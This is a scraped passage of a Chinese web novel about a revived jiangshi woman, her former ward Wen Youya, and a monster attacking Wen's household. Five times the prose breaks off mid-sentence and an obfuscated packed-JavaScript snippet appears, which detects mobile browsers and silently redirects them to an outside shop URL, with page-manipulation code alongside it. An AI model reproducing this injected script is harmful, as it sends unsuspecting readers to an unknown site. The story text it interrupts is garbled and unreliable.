也不知道刚刚那位姑娘口中的丞相是谁,但黎栎笙能感觉出来,躺在病榻上的人只靠这一点虚无缥缈的念想苦苦撑着。 “嘶……”黎栎笙被一丝从胳膊上传来的微痛吸引了注意力,她低头一看,发现刚刚被蛊虫咬出来的红点中间有些异动。 没过一会,那个小小的蛊虫就钻了出来,它无力地震动了一下翅膀,然后就摔到了地上一动不动。 蛊虫死了,不知道是被饿死的还是因为别的。 黎栎笙一脸为难地盯着它,如果刚刚那位姑娘发现蛊虫死了,她会相信不是自己故意弄死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168993|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它的吗? 外面的光渐渐暗了下来,柴房里面本就昏暗,外面的天一暗,里面就像直接进入了夜晚一样。 黎栎笙将蛊虫的尸体踢进角落,她不想引起外面那些人的戒备与怀疑,可惜总是天不从人愿。 她透过薄薄的窗户纸判断外面的天色,这么快就到晚上了吗?时间似乎有些不对。 直到外面传来了隐约的闷雷声,黎栎笙才明白原来又变天了。 淅淅沥沥的雨声传来,交织着难以言说的寂寞。 雷声阵阵,昏迷中的人蹙起眉,她的呼吸也变得有些急促。 在刚被黎栎笙捡回家的那段日子里,闻釉崖非常害怕雷雨夜,一个小小的孩子在雷雨夜经历了官兵屠杀难民、又目睹了一场清除刺客的血腥场面后,她几乎无法在雷声阵阵的夜晚安睡。 但那个人总会在她最害怕的时候来到自己的房间,哼唱着不知何处的曲调哄她入睡。 可是今天你去哪了? 一道惊雷炸响,昏睡中的人睁开了迷茫的眼眸,她的思绪是混沌的,分不清过往与现在,只是感觉刚刚那个人就在自己身边。 黎栎笙正准备在柴房给自己弄出一个能睡觉的地方,就在她收拾柴火的时候,她忽然听见外面传来了急促的脚步声。 “砰!”柴房的门忽然被推开,一道只穿着单薄衣衫的身影站在门口,她的衣服被雨淋湿了,身子微微发抖,似乎随时都会倒下。 黎栎笙眼中的戒备变成了惊讶,她这么快就醒了吗?醒了就好,只希望她之后别找道士来把自己烧了。 不过她大病未愈,怎么能穿着这么单薄的衣服在雨中乱走?看护她的人呢? “月……咳,闻姑娘。”黎栎笙差点顺嘴说了人家的小名,她将手中的柴火放在一边准备起身,但下一瞬她被人撞了个满怀。 她靠在柴火堆里抱着那颤抖的身体。 病人在她耳畔含糊呢喃着姐姐,显然已经病迷糊了,人不是清醒着的,但她抱着自己的力气却很大,好似生怕自己把她丢下。 黎栎笙想去将门关上,外面的风雨不小,这样吹下去活人哪能受得了,更何况还是个大病未愈的病人。 但她稍稍一有动作,怀中的人就开始啜泣,甚至一口咬在她的脖颈上。 黎栎笙轻吸了一口凉气,好像自己才是僵尸,怎么被活人咬了呢。 但没办法,就算被咬了,她也只能哄着怀里的病人,求她咬轻一点。 8. 哄睡 闻釉崖依稀记得,在刚刚被黎栎笙收养的时候,她非常害怕对方,甚至还有一些讨厌。 害怕是因为那天她看到对方杀死刺客时的血腥,讨厌是因为偶尔会看见黎栎笙穿着官服出门,她讨厌那身官服,因为皇帝昏庸官吏贪婪,所以她家才会家破人亡,而逃荒的一路上她也看透了那些地方官的嘴脸。 她以为黎栎笙和那些官是一样的,哪怕黎栎笙对她很好的,也依然刻意躲着对方。 直到有一天晚上,外面电闪雷鸣狂风大作,对于一个孩子来说,这样的夜晚本就可怕,更别说她还在雷雨夜经历了那么多血腥可怕的事情。 小小年纪的她躲在被子里瑟瑟发抖,每一道雷霆炸响,都会吓得她快要哭出来。 而在那个深夜,一道脚步声渐渐清晰,有一个人推开了她的房门,小孩子想到了各种可怕的鬼故事,于是在被子里哆嗦得更厉害。 只是没想到掀开她被子的人,竟然是手执一盏油灯的黎栎笙。 “怕打雷?”那个人的手温柔地轻抚她脸上的泪痕。 “不、不害怕。”小小年纪的她犟了一下嘴,随后就听见那人轻笑了一声。 “那我走喽?”在昏黄烛火的照映下,她的身影笼上了一层柔光,根本不像那夜杀人不眨眼的人。 年纪尚小的她呆呆地看着那个人,心中的尖刺也在一点一点的软化。 外头又有一道惊雷炸响,犟嘴的小孩子立刻诚实地抓住了她的衣角,不想她离开。 “小小年纪,倒是学会口是心非了。”那个人温柔地点了一下她的额头,随后将油灯放在了旁边。 她坐在床边,为自己掖好了被子,轻声哼唱着一首不知何处用来哄孩童入睡的民谣。 “天色暗,鸟归巢,快快合上眼,月儿藏梦乡……” 若有若无的歌声与噼啪作响的雨声交织在一起,外头雷鸣声阵阵,一道黑色身影在府中飞快掠过。 许洢看到了主屋的大门敞开着,而被引走的护卫在角落里昏迷不醒,并且主屋的门口还有血迹,她的心脏一下子就提了起来。 府中来了刺客,不、她甚至不知道那个东西能不能被称之为刺客,但对方的目的很可能是家主,偏偏这个时候家主失踪了。 她只能抱着最后的希望赶往另一处角落里的柴房,幸运的是她看到在通向那个柴房的路上有沾了水的脚印,这个没有穿鞋的脚印显得属于一个女子,而非那种怪物。 许洢才稍稍安心,却又紧接着听到了那道让她感觉毛骨悚然的歌声。 并非那道歌声有多难听,相反,对方唱的很好,只不过那个歌声属于一个死人。 许洢觉得自己可能要见鬼了,这是家主年幼时,丞相为了哄她睡觉而唱的民谣,这世间没第二个人能有此待遇,就连自己,也是因为负责保护闻釉崖才守在房外听过这首歌。 听过这首歌的活人不超过一掌之数,除了闻釉崖之外都是暗卫,就连当今陛下年幼时也没有这个待遇,所以这个歌声是哪来的? 不可能,怎么可能呢? 回忆起今天晚上发生的事情,许洢只觉得脊背发凉。 她远远地看到柴房的门是开着的,歌声就是从那里传来,许洢抬手握着剑柄,然后硬着头皮快步走过去。 在敞开的门内,她看到自家家主睡在那个和丞相长得一模一样的女人怀里,对方脱下了外衣裹在家主身上,然后拍着病人的背轻唱着那首民谣。 许洢苍白的唇哆嗦了一下,“丞相”二字几乎要脱口而出的时候,那女子注意到了她。 对方伸出右手的食指放在唇边,做出了噤声的手势。 那样似笑非笑的神色看起来与曾经的丞相一模一样,就好像是那个人从坟里爬出来了!正因为许洢在黎栎笙身边待得够久,所以她感觉的一模一样才会更加真实可怕! 许洢下意识闭上嘴,就连准备踏进来的脚也和当初的乌宵月一样往后撤了半步。 “小声一些,我才刚把她哄睡着。”黎栎笙可不知道眼前这位在她看来颇为厉害的姑娘被自己吓得够呛,她心中只是想着自己可算把这位会咬僵尸的月牙儿哄睡着了,要是把人吵醒,说不定自己的脖子又要遭殃。 许洢点点头,此时此刻她的手脚都不知道该往哪里放,眼前这个女人到底是谁,难道黎相真的从棺材里爬出来了吗? 回忆起那位神仙似的人物,如果是她的话,许洢又在荒谬中感觉到了一丝合理,好像在丞相的身上发生什么都是有可能的。 更何况今天晚上,府中确实潜入了一个超乎所有人认知的东西。 黎栎笙轻轻拍了拍病人的背,门口这位姑娘来的恰是时候,要不然她都不知道该怎么关门挡风。 她抬起头,那位本应该非常靠谱的姑娘就那样傻愣愣的站在门口看着自己,好像没有注意到自家家主大病未愈,现在还在吹着冷风。 “姑娘,她来的时候淋湿了衣服,我这边又没有被子,只能用这一件单薄的衣服替她裹上,但这样下去肯定会生病,麻烦帮忙弄一床被子和干净的衣服过来吧?” 黎栎笙略有些发愁,她本来想让这位姑娘直接将人带走,自己这个地方毕竟是柴房,又冷又破,自己这个僵尸待在这里倒没什么,一个身体不好的病人住在这里不是等着病情加重吗? 可惜怀中病人的力气很大,她试了一下,实在没办法让闻釉崖松开手。 无奈之下,她只能让人家抱被子过来了。 “是、好的。”许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168994|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洢下意识用上了恭敬的语气。 “顺便把门关上,风一直灌进来,明天她肯定会着凉生病,要不然先让大夫来一下吧,开一些驱寒的药。”黎栎笙又补充道。 “大夫要晚一些才能过来,家主这边……麻烦您照顾一下。”许洢的语气在黎栎笙的目光下越来越弱。 “出事了?”黎栎笙注意到她的衣服上有一些撕裂的痕迹,就好像被什么野兽锋利的爪子划过一样。 “城中出了僵尸杀人的事情,我们也不知那是不是真的僵尸,但是那东西确实像怪物一样,今晚它潜入了府中。”许洢想了想,还是将这件事情告诉了黎栎笙,让她务必小心,不要乱跑。 “我去取被子,很快就回来。” 僵尸?黎栎笙下意识心虚了一下,不过转念一想,自己还没来得及进城就被人抓了关在这个柴房里,正好能证明这件事情不是自己做! 黎栎笙悬着的心放了下来,只不过她没想到这个城里还真的有自己的同类,甚至还杀了人,啧,僵尸的名声就是被这些东西败坏的,害得她现在战战兢兢,生怕被连累。 许洢关上门,她看了一眼阴沉的天,不安的感觉总回荡在她的心中。 柴房的位置非常偏僻,这是一处独立的小矮房,最近的屋子距离这里都有一点距离。 “姑娘,无论外面有什么动静,你都不要发出声音也不要出来,我很快就回来。”她锁好门后再次叮嘱。 “好。”黎栎笙应了一声。 许洢运起轻功,很快就消失在这里。 黎栎笙松了口气,还好闻釉崖的手下及时找了过来,如果她真的在自己这里吹了一晚上冷风,明天她的病情还不知道要加重到什么地步。 只是……自己才刚刚下山,城中就出了僵尸杀人的事情,若只是巧合,那自己也太倒霉了些。 黎栎笙略有些忧虑,她低头看着怀中人睡熟的眉眼,又伸手戳了戳闻釉崖软软的脸,面上的担忧渐渐被笑意取代。 好乖~ 真希望她醒来的时候也能那么乖。 黎栎笙抱着病人坐在柴堆间,也不知道是不是因为受那个僵尸杀人之事的影响,许洢走了之后没多久,她就总觉得自己在外面的雨声中听到了一些奇怪的动静。 “哒、哒……” 黎栎笙的表情凝重起来,那奇怪的动静在靠近,不是自己的错觉,那好像是没有穿鞋袜的脚踩在水坑里发出来的声音。 “轰隆!” 天空中忽然划过了一道惊雷,那道惨白的光映在了门上,一道驼着背都显得格外高大的黑影映在了门上。 黎栎笙的神色一沉,她伸手将柴火堆中一根被她削尖了顶端的木柴抽了出来。 僵尸? 9. 亲吻 在柴房里发呆的时候,黎栎笙也没有完全坐以待毙,她挑了一根趁手的木头,又从柴垛子里找到了一块不知道是谁遗落在这里的铁片,她将木头的一端削尖,变成了一件武器。 黎栎笙握着木刺,虽然这东西看起来一折就断,但她有种感觉,以前的自己应该会些功夫,因为这根木刺到了手上后,她的脑海中已经浮现起几十种杀僵尸的技巧。 就算那东西真的是怪物,她也能应对。 不过考虑到许洢在离开之前千叮咛万嘱咐她不要出门,所以黎栎笙没有轻举妄动。 而那个僵尸站在门口也没有下一步动作,似乎也在观察判断着屋里的情况。 看起来这个像是怪物的东西并非没有智慧,如果它不是因为意外才来到这个府邸中,而是有针对性的目标…… 黎栎笙微微蹙起眉,她心中只剩下一个答案。 怪物想杀的或许就是闻釉崖。 想到这个可能,黎栎笙的心底翻涌起一股陌生的情绪,她稍稍愣了一下,半晌后才明白这种陌生情绪名为愤怒。 她想亲手将那个怪物大卸八块。 “咳咳。”就在屋内屋外都格外寂静的时候,黎栎笙怀中的病人咳嗽了几声,她身体的温度略有些升高,可能还是染了风寒。 这一声轻咳像是打破了某种僵持的局面,外头那个僵尸忽然抬起了手重重拍在了门上,只听“咚”的一声,房门上的锁竟然应声落地。 怪物的喉咙深处发出了像是笑一样的嘶哑赫赫声,它伸手推开门,而就在柴房的门被推开一小道缝隙的时候,房门下方有一根很难看见的透明丝线被扯动,随后一道破空的声音传来,一根暗器袖箭准确无误地刺穿了它的脖子。 喷涌而出的血溅在了门上,浓郁的血腥味渗透进来。 果然,那位姑娘离开之前留了一些后手。 而透过门上的影子,黎栎笙能看到那根袖箭刺穿了怪物的脖子,可是它身体摇摇晃晃了一阵后竟然没有倒下,甚至还转身跑了! 黎栎笙立刻将手中的木刺掷了出去,木刺穿透房门直接命中了那个怪物,血肉被撕裂的声音从外面传来,那个怪物“噗通”一声砸在了水坑里。 但更让人惊悚的事情发生了,那个怪物竟然又晃晃悠悠地从水坑里站了起来,然后继续往前跑! 它真的是僵尸?但僵尸的身上能溅出那么多血吗? 黎栎笙感觉外面那个东西似乎有些不对劲,但是那东西没有给她继续观察的机会,它逃跑的速度很快,而这边的动静也引来了数道追杀它的暗卫。 这么多人追杀它,那怪物应该跑不掉了吧。 接二连三的动静惊扰到昏睡的人,她抱着黎栎笙的胳膊微微收紧,黎栎笙立刻拍了拍她的背,随后又轻声哼唱那首民谣。 刚刚她想着该怎么将这位闻姑娘哄睡着的时候,脑海中就忽然蹦出了这段旋律,在哼唱了几遍曲调后,歌词也断断续续地被她回忆起来。 许洢很快就抱着被子和衣服来了,看到门口的血和被触动的机关,她暗骂了一声:“晦气!” “这是家主的衣服和被子,麻烦您继续照顾她一下,我去追那个怪物。”许洢表现出对黎栎笙充分的信任,她将衣服被子往这儿一放,然后重新关上门设置好机关就冲入了雨夜中。 “可是……”黎栎笙都来不及喊住她,许洢就已经消失了。 可是自己不方便帮她换衣服呀。 先不说她们两个之间诡异的关系,就她这样抱着自己不松手,自己也很难帮她换一身干净衣服。 她看着怀里的人,闻釉崖偶尔会咳嗽几声,湿衣服必须得换了,不能继续拖下去。 黎栎笙叹了口气,她摸□□人脱衣服,尽可能忽略指尖的触感,她费了九牛二虎之力,才终于让怀里的祖宗乖乖换上干净的衣服。 帮闻釉崖换完一身衣服后,黎栎笙竟难得感觉到了疲惫。 “看在我这样帮你的份上,你醒了之后可不能把我交给道士哦,更不能扒了我的皮……”黎栎笙将自己和病人一起裹在厚厚的被子里。 外面的厮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168995|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀声渐渐远去,也不知道那个怪物到底是什么东西,竟然让那么多人陷入了持久战,不过这里应该安全了。 期间有一位姑娘送来了一个炭盆,应该是许洢特意吩咐的,柴房里的温度一下子就暖和了起来。 屋子里一暖和,她这个僵尸也昏昏欲睡起来,黎栎笙不知道外面的战斗是什么时候消失的,在确定周围没有危险后,她在不知不觉间就抱着人睡着了。 闻釉崖有意识的时候只觉得又冷又热,热源是自己,她的脑袋昏昏沉沉,大概是得了风寒,而冷则是因为自己抱着一个没有任何温度的人。 这种感觉就像当初自己在黎栎笙的棺材里抱着她的尸身。 那熟悉的幽兰冷香让她的脑袋深处传来一阵又一阵的刺痛,闻釉崖感觉自己好像又在做梦。 若不是梦境,她怎能抱着已经死去的人? “姐姐……” 可自己怎么感觉那个人好像回来了呢? 她一遍又一遍呼唤自己的名字,会为自己唱那首民谣,就好像年幼时自己沉浸在蜜糖与幻梦中的日子。 滚烫的眼泪从她的眼角滑落,她微微睁开眼眸,泪水模糊了视线。 她感觉自己好像看到了黎栎笙那个狠心的女人,可她闭着眼睛,静静地靠在自己怀中,冰冷的温度告诉她这只是一具尸体。 闻釉崖发出了一声苦涩而哀伤的笑,她凑上前,在黎栎笙的唇上落下了颤抖的一吻。 刚醒过来的黎栎笙睁大了眼眸,睡意一扫而空。 这人、这人还没有睡醒吗?不然怎么偷偷轻薄自己! “姐姐,我去黄泉路上找你好不好?”闻釉崖就像当年在棺材里那样问着不会回答自己的“尸体”。 但七年之后,那个已经死去的人想也没想就给了她否定的答案。 “不好。”黎栎笙心里下意识想着不能让她有自杀的念头。 听到声音的闻釉崖浑身一僵,她看向黎栎笙睁开的眼眸,过去与现在,横跨了七年的时间,那已经死了的人给了她回应。 10. 推开 “黎、黎栎笙……” 闻釉崖几乎用尽全身力气才勉强吐出了这几个字,她伸出颤抖的手抚在黎栎笙的脸上,可以摸到,不是幻象。 可能是因为风寒发热,她呼出的每一口气都带着滚烫的温度,同时闻釉崖因为高热导致脑袋也昏昏沉沉,稍微动一动就会感觉到天旋地转。 在这种情况下,闻釉崖难以冷静正常地思考问题,她的指尖一遍又一遍描摹着黎栎笙的眉眼,似乎是想确定自己没有眼花。 渐渐的,闻釉崖的眼眶红了起来,她的眼神深处一时泛起哀伤,一时又泛起愤恨。 她努力想要看清黎栎笙的模样,可是眼底泛起的泪水模糊了她的视线。 黎栎笙看到她哭了的样子后更是一动不敢动,但是闻釉崖身上的被子早就已经滑落了,她只穿着一件单薄的衣服,这样很容易加重病情。 “闻姑娘,昨天晚上你淋了雨,现在手心这么滚烫……好像发热了,你还是先将被子裹上或者披上外袍吧。”黎栎笙小心试探着伸出手,想帮她裹上被子。 但她没想到,自己一开口就说错了话。 闻姑娘这陌生而疏离的称呼如一盆冷水从她的头顶浇下,让她打了个寒颤。 “闻姑娘?”闻釉崖的眼底像是有光破碎了,她呢喃着如此生疏的三个字,她一把抓住黎栎笙想要帮自己裹被子的手,虽然病得手脚无力,可此时此刻她的力气大得惊人。 那个人怎么可能用这三个字来称呼自己。 闻釉崖像是大梦初醒,眼眸中终于带了些许清醒,这些天断断续续的记忆浮现在她脑海中,她想起了那日出城时发生的事情。 自己遇到了一个人,那个人和黎栎笙长得一模一样,她看起来格外苍白,甚至有些像死人。 自己以为那又是不怀好意者送来的替身,可是那个和黎栎笙一模一样的人却说,她是死人、是鬼…… 闻釉崖抓着她的手腕,正好可以探黎栎笙的脉搏。 脉搏、呼吸、心跳…… 她将手按在黎栎笙的心口,甚至运起了内力,生怕自己错过了细微的动静,然而她竟然真的探不到这个人的心跳。 闻釉崖感觉自己的脑袋眩晕得厉害,怎么可能什么都没有呢? 黎栎笙的双唇颤了颤,她嗫嚅着想开口为自己的身份狡辩两句,结果一阵大力将她推开,毫无防备的黎栎笙差点撞到了旁边的柴火堆。 而闻釉崖的情况也不算太好,她踉跄着站起来往后退了几步,那摇摇晃晃的身子看起来随时都会摔倒。 幸好不知何时就守在这边的许洢从天而降,一把扶住了站不稳的闻釉崖。 闻釉崖的脸色惨白呼吸急促,她死死盯着黎栎笙,好半天才从牙齿缝里挤出了几个字:“你究竟是谁?” 这是个好问题,黎栎笙张了张口却不知如何回答,她知道的只有一个名字而已,过往的一切对她来说都是一片混沌。 “如果我说我也不知道,你会信吗?”她微微垂下头,稍有些凌乱的发丝滑落,让她看起来既狼狈又可怜。 当年的黎相何曾有过这般阶下囚的模样,虽然狼狈不减她的风华,可是在闻釉崖看来这一幕无异于在她心头剜血,她就算再恨黎栎笙,却也不舍得让对方沦落到这一步。 闻釉崖挣脱了许洢的搀扶,有些踉跄地走到黎栎笙身前一把钳制住她的下巴,逼迫对方抬头看着自己。 “不许用这张脸露出摇尾乞怜的模样!” 闻釉崖沙哑的声音里掺杂着怒意和颤抖,旁边的许洢都下意识放轻了呼吸,恨不得自己消失在这个房间里。 在如此近的距离下,黎栎笙看到了她眼底藏在愤怒之下、破碎又贪恋的光。 不知为何,黎栎笙的脑海中忽然浮现出一个念头,面前这位凶巴巴的闻姑娘其实是一个心软的人,说着不许,但分明是喜欢的。 黎栎笙也不知道自己为什么忽然有了这样的想法,就像曾经的自己很了解她似的。 黎栎眨了眨无辜的眼眸,露出乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168996|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺又委屈的模样道:“我没有。” 最后一个字的尾音就像钩子一样撩拨了一下闻釉崖的心弦,被对方用这样一张脸对着撒娇,其实还不清楚对方的身份,闻釉崖捏着她下巴的手颤了颤,力道也不由自主地松了一些。 不过闻釉崖很快就意识到自己踏入了对方语言的陷阱中,她心中流露出一丝悲哀,即使过去了那么多年,自己还是无法摆脱黎栎笙的影响。 她松开了手,声音渐渐冷了下来,“就算你不愿意说自己的身份,我也能查到。” 柴房的门是敞开的,冷风一吹,闻釉崖的身子就微微颤了颤,本就因为高热而混沌的额头更难受了。 “别让我知道你和你身后的人想要利用她做什么,不然我会让你们后悔来这世间走一遭。”闻釉崖沙哑的嗓音中透着决绝,她转过身往外走,每一步都感觉自己好像踩在棉花上。 而她的身后传来了黎栎笙无可奈何的叹息声,就连这样声叹息都和那人一模一样。 怎么会那么像呢? 若是她真的回来就好了,若她能回来,自己就能将当年的仇怨一并报在黎栎笙那个狠心的女人身上! 许洢赶忙跟过去搀扶着闻釉崖,防止她走不稳路。 “我为什么会出现在这里?”闻釉崖冷声询问道。 “家主,是您自己跑过来的,昨天晚上府中出了一些事情,守在您身边的护卫没能将您拦下来,然后……您就跑到这里来了,属下想将您带回去,可是您紧抱着她不撒手,我们实在没办法将您和她分开,所以只能这样了。”许洢老老实实地将昨天晚上发生的事情说了一遍。 “你的意思,是我强迫了她?”闻釉崖止住了脚步,她的眼神像淬了冰,双手在不知不觉间握紧。 她隐隐约约回忆起了些许画面,头疼的感觉越发加剧。 而许洢更是一位耿直的下属,闻釉崖问什么她就答什么:“昨天晚上和今天早上您都比较强势。” 甚至都强吻了人家呢。 11. 实话 许洢过于耿直的结果是被同伴念叨了整整一个上午,中午之所以停了,那是因为郑筱要去给闻釉崖熬药,所以暂时没时间念叨她。 “醒过来就好,你这次病发太凶险,我都快要放弃了。”季沅绫把完脉后将闻釉崖的手塞回被子里。 闻釉崖病恹恹地躺在那里,看起来没什么精神,也不知道有没有将季沅绫的话听进去。 郑筱将熬好的药端了进来,随后扶着闻釉崖坐了起来,并将药碗交到她的手上。 闻釉崖心不在焉地喝着药,汤药虽苦,可她现在食不知味,心思根本不在眼前,所以一时间都忘记了口中的苦涩。 而郑筱在悄悄退到门屋外后又继续开始数落许洢,她压低了声音,就是不想打扰到里面的病人,可惜闻釉崖内力深厚,还是将外面的对话听得一清二楚。 “您平日里比我们还注意和那位有关的事情,今儿怎么这么毫无顾忌地说出来了,瞧把家主气的。”也不怪她唠叨,原本家主能醒过来是好事,但许洢的老实回答又差点将病人刺激出个好歹,郑筱实在后怕。 “我说的是实话。”许洢一本正经地回答。 郑筱不明白许洢究竟在盘算什么,更不知道面前这位对柴房里面那人的身份有一个多么荒谬的推断,她只是觉得这个曾经最可靠的前辈开始莫名其妙地油盐不进。 “就算是实话也不能说呀,至少也要等家主的身体好一些……” 这两个人一人一句实话全都落到了闻釉崖耳中,喝药的人不小心呛到了,连连咳嗽。 听到里面的动静,外面立刻噤了声。 “喝慢一些,没人和你抢。”季沅绫没忍住笑出了声,她的内力也不弱,所以能听到外面的交谈。 “你别听她们两个胡说。”闻釉崖蹙起眉。 “是是是,我绝对不会将你大晚上非要跑去柴房和人家一起睡的事情说出去的。”季沅绫像是看热闹不嫌事大。 闻釉崖的脸上一阵青一阵白,“昨天晚上是意外。” “我懂,昨天晚上也是我和你的手下们说不要强行将你们分开。”季沅绫在闻釉崖的眼刀飞过来之前解释道:“这次你真的差点死了,我救不了一个一心求死的人,是那个姑娘在你床边生生将你的魂喊了回来。” “我不管你们之间有什么纠葛,我是一个医者,只想尽可能把你的命救回来,无论那个方法看起来有多邪门。” 一开始季沅绫并不知道为什么所有人都用那种奇怪的眼光盯着黎栎笙,等那位姑娘被带走后,她旁敲侧击地问了其他人。 这才知道那个被抓回来的姑娘和黎相长得一模一样。 再结合她毫无生机的死相,季沅绫都觉得毛骨悚然,所以用了邪门二字来形容对方,巧的是当晚又出了僵尸袭击的事情,一夜没睡的她还觉得有些头疼。 “喊魂?”刚刚闻釉崖被下属的实话气得头晕目眩,除了僵尸袭击的事情外,她还没来得及了解更多的细节。 “是你家那个暗卫的说法,我觉得非常恰当,就拿来用了。昨天你是药也喝不进去,心口的气也散了,乌大人就将那位姑娘带来,让她在床边喊你的小名月牙儿,你啊,就真的挣扎着从鬼门关回来了。”季沅绫轻叹了口气,闻釉崖终究对那个已经死去的人念念不忘。 “而且不仅回来了,人家一走,你当天晚上就跑到人家屋子里去抱着人家,让她哄你睡觉。” 闻釉崖的脸色变得和锅底一样黑,她伸手拿着自己喝了一半的药碗就要摔过去,季沅绫眼疾手快地将药碗按了下来。 “药还没有喝完呢,别浪费。”季沅绫将碗重新推到她面前。 “也幸亏你跑了过去,不然昨天晚上那个和僵尸似的怪物恐怕就要得手了。”季沅绫的语气凝重起来。 闻釉崖轻哼了一声,也松了手。 “世间真的有僵尸吗?”她微微敛下眸中的阴霾,如果世间真的存在僵尸这种东西,那么柴房里的那个…… 因为心绪起伏太大,闻釉崖心中的一口血气涌上来,让她靠在床边咳嗽不止。 “我只是个大夫,没办法回答你这个问题,你倒是可以去道观寺庙去问问。”季沅绫从自己的药箱中取出一个药丸给闻釉崖喂下,过了一会后病人的咳嗽声才渐渐止住。 “但昨天晚上那个东西只是看上去像僵尸罢了,我去看了,他被抓起来的时候还有些心跳,身上还有一些余温,只是不知道被什么歪门邪道的东西弄成了那个样子,可惜今早他死透了,我没能研究出有用的东西。”季沅绫微微蹙眉。 “那东西的目标可能是你,我猜或许和那位乌大人带来的密令有关,你现在的身子骨不方便掺和那些事情,陛下也体恤你,让你以身体为重,要不然还是回山庄里休养吧。” 黎相当年将归月山庄给了闻釉崖,但是闻釉崖这些年却只待在安湘城里,明眼人都知道她是为了守着山上那座坟罢了。 季沅绫只是劝了一句,但她知道自己是劝不动的。 果不其然,闻釉崖回答道:“不必。” 她一定要查清当年那件事情,黎栎笙究竟是谁杀的……她不会放过主谋!血气与杀意在她心口翻涌,迟迟难以平复。 直到闻釉崖的思绪落到柴房里的那个人身上,扭曲的心情才骤然顿住。 “季沅绫,若是有一个人没有脉搏、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168997|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有心跳、没有温度,但是行动与常人无异,她还能算是人吗?”闻釉崖看了一眼自己苍白的手,她虽然病得有些糊涂,但还不至于连脉搏和心跳都摸不出来。 “那不就是鬼吗?或者说僵尸。”结合昨天晚上遇到的那个怪物,季沅绫沉吟片刻后道:“还有一种可能,就像昨天晚上那个怪物一样,也不知他修炼了什么怪异的秘术,皮肤骨骼像铜墙铁壁,而脉搏非常微弱,每一次跳动的间隔都很长,即使受了致命伤,也依然能跑能跳,吓死个人。” 季沅绫回忆起今天早上自己看到的画面都有些心有余悸,“若不是我多留心了一会儿,探到了对方的脉搏,恐怕也要以为对方真的是个僵尸了。” “如果和那个怪物是一个情况,那你可能只是没探到她的脉搏心跳,而不是没有。”季沅绫行医那么多年,大江南北都走过,虽然听过无数传说,但确实没有亲眼见过僵尸之类的非人之物。 “是人吗。”闻釉崖喃喃自语,终究难掩语气中的落寞。 季沅绫有些不忍心看到她这样失魂落魄的样子,便承诺道:“我去帮你瞧瞧那位姑娘,不过死人从棺材里爬出来的事情过于荒谬,你……要做好心理准备。” 闻釉崖闭上眼眸,强忍着心中酸涩的胀痛感,她不得不承认季沅绫的说法才更有可能是真相。 她缓了口气,默默将注意力从柴房那个人的身上转移走,“乌宵月呢?她还在调查昨晚那个刺客的事情?” “是啊,听说情况挺棘手的,僵尸吃人的事情闹得城中人尽皆知,然后有一些不好的谣言传了出来。”季沅绫迟疑着没继续往下说,因为谣言事关那个人。 但闻釉崖哪里是好糊弄的,大夫的欲言又止就让她猜到了一二,闻釉崖的眼眸中泛起了冷意:“怎么,谣言和黎栎笙有关?又或者谁胆大包天,把这个事情和京中的那位扯上了关系?” “真是什么事都瞒不过你,有的时候真希望这场病能让你糊涂一点。”季沅绫被噎了一下,这人是不是过分聪明了? “谣言说当年先帝是被黎相弑杀的,她还篡改继位诏书,当今陛下得位不正,所以上天降下惩罚,让安湘城出现了僵尸。”这种谣言可犯了大忌讳,季沅绫也不知道谁胆子那么大,是不是想要谋逆。 